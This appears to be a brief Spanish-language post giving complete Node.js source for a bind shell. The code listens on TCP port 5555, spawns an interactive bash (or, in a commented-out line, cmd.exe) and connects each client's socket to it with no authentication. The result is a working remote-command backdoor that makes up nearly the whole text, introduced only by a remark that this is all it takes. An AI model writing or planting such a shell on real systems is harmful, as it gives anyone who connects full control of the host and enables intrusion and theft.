Únicamente se conectan entradas y salidas del socket y del proceso shell convenientemente y ya está.
var net = require('net'); var spawn = require('child_process').spawn; var server = net.createServer(function(sock){ console.log("nuevo cliente: " + sock.remoteAddress + ":" + sock.remotePort); var bash = spawn('/bin/bash', ["-i"], { env: process.env, setsid: true});//unix //var bash = spawn('cmd.exe', []);//guindors bash.stdout.on('data', function (data) { sock.write(data); }); bash.stderr.on('data', function (data) { sock.write(data); }); bash.on('exit', function (code) { sock.end(code); }); sock.on('data', function(dd){ bash.stdin.write(dd); }); }); server.listen(5555); console.log("escuchando en el puerto 5555");